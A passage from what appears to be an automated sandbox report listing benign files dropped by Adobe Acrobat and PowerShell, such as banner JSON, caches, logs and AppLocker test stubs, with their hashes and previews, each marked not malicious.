MD5:	CCF466C9EA2FB8E7F63A1E5287BA9D5D
SHA1:	26E25DDCC47E32A11CA1D379BF1CDE513C85DFC6
SHA-256:	E065B3D382F0D87E7CC03007A173C344EF371255BD2C735A0B578F661E2627BC
SHA-512:	298FDE375B6C1B93E8412CA7693BB6EC55E20A3FAAE7404F5352B26558CBF4F5BC41F8A4295D653EB7EA0EE3DE7FAF4E7D9A579FA3FD136CEC5459B515648ED1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"99b354aa-f280-4dfa-bf61-816d84779edf","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736749119629,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.290508000832026
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTwT6DldmHH0nZiQ0YjUoAvJfbPtdPeUkwRe9:YvXKXET6Dldmn0cYGDV8Ukee9
MD5:	5C0CFECEF724F7069FA87169F38B0209
SHA1:	F489AB76F4D67DA557A670B9DD1DCA6B3597E3F7
SHA-256:	23C44BF39E822CDBBB9A5AD7B497948CE0274ADDC3EF79012C01D587719A5678
SHA-512:	68C7BFC3E6E235F8439993B4B1336749D705F01A0E436F6FEB69DD429C880CE82958BD04D5F7F59F983A61C85407D104993A7AD61C4C531167606063206B825C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"99b354aa-f280-4dfa-bf61-816d84779edf","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736749119629,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.2942822028044265
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTwT6DldmHH0nZiQ0YjUoAvJf21rPeUkwRe9:YvXKXET6Dldmn0cYG+16Ukee9
MD5:	9A7E5A8A479311066D2B06F28F450CF3
SHA1:	3D4BCE92F3317C2D610B7347BBB76BCD877AEDA6
SHA-256:	279182B6BDCFF783BABC764B920CD9A833FC27FFD837F2273AE3074ADB94ECCC
SHA-512:	8A35A84A179BF588A61E367C8B90F95387B24961BFAA0115F66FE7CA11E1322BB6319D48A1A236D657E63D461712CE5BF786DF20E177B6AE80CA035C37AB24B2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"99b354aa-f280-4dfa-bf61-816d84779edf","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736749119629,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.66536144221908
Encrypted:	false
SSDEEP:	24:Yv6XnpdmnZtamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BS6J:YvKdmvBgkDMUJUAh8cvM8
MD5:	6FFDFD9FFDC813D9341570E38A25E0E9
SHA1:	25AD48041EC1E9CCA551D66018EB2E381AB06A0D
SHA-256:	976F8F1E8D688FD03BDF3A6B31D67D5DFB51E1CF7C9F65590B22B835358D4A58
SHA-512:	139557A3634E58A7A6962679FAF28823BBDB48B6401B17799ACC701AA723B92A8FDA66AFC13367DF35CEEC7178EB8E43BD632267B8B2AB150FC8FFB0B796FD04
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"99b354aa-f280-4dfa-bf61-816d84779edf","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736749119629,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.269780925924842
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTwT6DldmHH0nZiQ0YjUoAvJfshHHrPeUkwRe9:YvXKXET6Dldmn0cYGUUUkee9
MD5:	CACA1CA73D1AB003562E0B9F5303EBE0
SHA1:	97C6E6705366A12334CCF6A248243B25CFFDAA6B
SHA-256:	5BCD699408E1D7B8202B4939E83B2A33305180A6B819E3A928CED91AD95BE2C8
SHA-512:	18BBEAAB2BB4AAB94958ACA77DA9D0F26A93B230EF50F615A87556476A09EED84DDE8E18120116060A5A214E489DE50428864F2982BCF7B1D73A5985D76AF2C7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"99b354aa-f280-4dfa-bf61-816d84779edf","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736749119629,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.2808512368377025
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTwT6DldmHH0nZiQ0YjUoAvJTqgFCrPeUkwRe9:YvXKXET6Dldmn0cYGTq16Ukee9
MD5:	E3BBD93D5CA20D22B115DD59F8C70C89
SHA1:	332C39565C2E134D5B6B87CEA14257C829F8A2BD
SHA-256:	332D4700E5A0548AA6CF282CBCBFFE109A15A2AEBE42F79CF455B265432D4526
SHA-512:	A9A7B2F8B300B02F24A77A0C41C81688AA1BAFF48FD64A002236FD5D96BFE80AA9F40BAC99D8B0EBDEBB340471D69E94BC74B6022A5B576E10D77FA96A750AF5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"99b354aa-f280-4dfa-bf61-816d84779edf","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736749119629,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.136204919921824
Encrypted:	false
SSDEEP:	24:YlI1AsnaQayJs4Vcs/bqBsqakNsvAsLWAsQ47hlscjZj0SXsSa7GEs/2Z2LSXsMv:YlIhoL+p4nNZozKfXA10BUcVW9F
MD5:	E7362A3345806B3E28FAA23D42ACF4AF
SHA1:	602DC21D4E563391B0C13EBB138E37CB425AA813
SHA-256:	6955BDF2AE9201DF56A3F0C02D67655E241EE10E6DF109A0443CC9D787A6E1CD
SHA-512:	11BDF37BA939544A509F19194EACCB247359E10C8530B12E987E70457E2723DB31DBD339178E27336B1922932BAF45167A490A1B56FD3D3F7D2F7F55DEAEAC4F
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"c41ebcf868bdf17d8db04fd2ad6fe1de","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736571248000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"694d0a6fbae72e5f69f15d7a900fa41d","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736571248000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"98cd7fc2a49d0b435a76f1c387a24366","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736571248000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"178f831785035c45590af259034ee85e","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736571248000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"95e9a841ce543a38e317ea16e98b657f","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736571248000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"3110ce28736286aa7cdbd387151a2cef","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 24, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 24
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.146201734908762
Encrypted:	false
SSDEEP:	24:TLhx/XYKQvGJF7urstfxRZXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudl:TFl2GL7msV9Xc+XcGNFlRYIX2v3k0D
MD5:	699E43A01210405FFB9C7E5BADCD5EC9
SHA1:	C027AFA285C6317FD62A1295D5B2EAE2E04687A5
SHA-256:	0A23F2DB2448136F3EBED51347F1D075AC10C2415328D4C61F596B5EE682326F
SHA-512:	AF31BC9D2586EF41A1F352BFA56FF9FC7043C6EDF27C3C5B1B337C5ACEDB20D48103D87F5B8A5F739117A2D915BAE8B651DE682F0CC9BE17211DA2BA79B264A9
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.5523026653476215
Encrypted:	false
SSDEEP:	24:7+tZfxUXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudcHRuLuxDgqLxx/Xq:7MpiXc+XcGNFlRYIX2vxqVl2GL7msA
MD5:	574147EA7D71816067E9BAFCD50C2CA4
SHA1:	2A1B661D43CE3B0A15B9F8DA85DC8526A539E190
SHA-256:	267C4FF39C73261561A91C0C44141672D0E23449C8B36D812FB19D1D36F56120
SHA-512:	D1071C71EC239935C34216D77B45DDEEA408AAC291A9BA37F9AF3783CDC5801C5971C8B10E76EDE3D332F2FBED19929A32298A6DE2A64924A6D5E85D2BB8871F
Malicious:	false
Preview:	.... .c.......{l..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................b..b.b.b.b.b.b.b.b.b.b.b.b.b..................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEg4YWg5WoxNAaQlQ8o4hvwxcbeGQzYyu:6a6TZ44ADE4YWgRVQlJhwGjmK
MD5:	0E1B808D31DDB13609F6E5E2979C01A3
SHA1:	8B38480F65B94B91F78EA4E1C9D7712E8A62F044
SHA-256:	921503D136A846B4D39F047E8E70057B97E50B236065BB5CF48614D9AFEE7955
SHA-512:	4FA96A0AE0B0545D75D61C31022CEAAFADBDA2306586024138C16FAF68258AF2BDD44401094097465724D9A2B249A5F9CB5A05223D7229B6E18E6368BE3328F0
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul3nqth:NllUa
MD5:	851531B4FD612B0BC7891B3F401A478F
SHA1:	483F0D1E71FB0F6EFF159AA96CC82422CF605FB3
SHA-256:	383511F73A5CE9C50CD95B6321EFA51A8C6F18192BEEBBD532D4934E3BC1071F
SHA-512:	A22D105E9F63872406FD271EF0A545BD76974C2674AEFF1B3256BCAC3C2128B9B8AA86B993A53BF87DBAC12ED8F00DCCAFD76E8BA431315B7953656A4CB4E931
Malicious:	false
Preview:	@...e.................................&..............@..........

C:\Users\user\AppData\Local\Temp\MSI5c776.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5258803161342094
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClXsww:Qw946cPbiOxDlbYnuRK+bD
MD5:	4ADB4AA78E7EB1F9A701349122A831E5
SHA1:	B5A1DEB21C13115C49199582AAAB607C6B4C2C31
SHA-256:	83DE79425C90912D4343CE94D2F7D7485A7BC6E8E819FE46593F873914EE11F7
SHA-512:	94B8FE0F3FBD4C3514487A82C1DA005584F298510A811378717270CA11F61C3C71401896C7679A409876B0002F74FAC23EE4D881DC8763EDF240D0E87D8582D5
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.3.:.5.4.:.0.9. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5msrbrpg.ql5.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_azfu5kii.xap.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 23-54-04-154.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.338264912747007
Encrypted:	false
SSDEEP:	384:lH4ZASLaTgKoBKkrNdOZTfUY9/B6u6AJ8dbBNrSVNspYiz5LkiTjgjQLhDydAY8s:kIb
MD5:	128A51060103D95314048C2F32A15C66
SHA1:	EEB64761BE485729CD12BF4FBF7F2A68BA1AD7DB
SHA-256:	601388D70DFB723E560FEA6AE08E5FEE8C1A980DF7DF9B6C10E1EC39705D4713
SHA-512:	55099B6F65D6EF41BC0C077BF810A13BA338C503974B4A5F2AA8EB286E1FCF49DF96318B1DA691296FB71AA8F2A2EA1406C4E86F219B40FB837F2E0BF208E677
Malicious:	false
Preview:	SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.340975763565005
Encrypted:	false
SSDEEP:	384:iG8/k2pZoPhhT+iQOgFYkSxg8fW1N+uLFyh1nvfKyv2cWmBBrC6Lz+z+7jpTzm+b:0c7
MD5:	8A9282011BB3FE41F0011684F6A53D54
SHA1:	AADA5BF75D2022035FE194BBCA6549268FB8C6CD
SHA-256:	DE828DE8277E4AB0742B4C23735A2A2D9583DDAE9E15DA29356D71815E17A895
SHA-512:	466B724C48AB2C690ACE51DF757F30E783293C782D641A12379D666C1C5081D125B1A1ACF6BE415611B26B4F89CB04F7D8E09127A81136B8E7D404030C994191
Malicious:	false
Preview:	SessionID=472a5036-0660-466f-bb63-386839eed16b.1736571244177 Timestamp=2025-01-10T23:54:04:177-0500 ThreadID=3652 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=472a5036-0660-466f-bb63-386839eed16b.1736571244177 Timestamp=2025-01-10T23:54:04:189-0500 ThreadID=3652 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=472a5036-0660-466f-bb63-386839eed16b.1736571244177 Timestamp=2025-01-10T23:54:04:189-0500 ThreadID=3652 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=472a5036-0660-466f-bb63-386839eed16b.1736571244177 Timestamp=2025-01-10T23:54:04:189-0500 ThreadID=3652 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=472a5036-0660-466f-bb63-386839eed16b.1736571244177 Timestamp=2025-01-10T23:54:04:189-0500 ThreadID=3652 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.3957494434165305
Encrypted:	false
SSDEEP:	192:acb4I3dcbPcbaIO4cbYcbqnIdjcb6acbaIewcb4ocb2IpxcbJ:V3fOCIdJDeeVpu
MD5:	23454BE95134F85BA95A5280CD1FCE27
SHA1:	F749172BFCA028EE5747CE8974F54DDA35BFFE64
SHA-256:	57DDCADFDEEFEBCEC82FE8DCC6AFADBE988E6CB76ED20E7297F4C1F79A629D34
SHA-512:	B39618709F1C83D9C0695B89268BD7F4B0EBE91CA3E744FF97FD86712BAF09907DEA27298122768614B535250BEFCC14B6C88747812D5AFA85D815A27622C1F2
Malicious:	false
Preview:	05-10-2023 08:20:22:.---2---..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:20:22:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\027cdd29-51b2-414e-9cca-5e634a451061.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\28a8ff88-f298-4ef1-baac-1b3af7cbd821.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLaGZDwYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLaGZDwZGk3mlind9i4ufFXpAXkru
MD5:	18E3D04537AF72FDBEB3760B2D10C80E
SHA1:	B313CD0B25E41E5CF0DFB83B33AB3E3C7678D5CC
SHA-256:	BBEF113A2057EE7EAC911DC960D36D4A62C262DAE5B1379257908228243BD6F4
SHA-512:	2A5B9B0A5DC98151AD2346055DF2F7BFDE62F6069A4A6A9AB3377B644D61AE31609B9FC73BEE4A0E929F84BF30DA4C1CDE628915AC37C7542FD170D12DE41298
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\9cc72b13-be4b-4fe3-8f1f-10047f1e6736.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
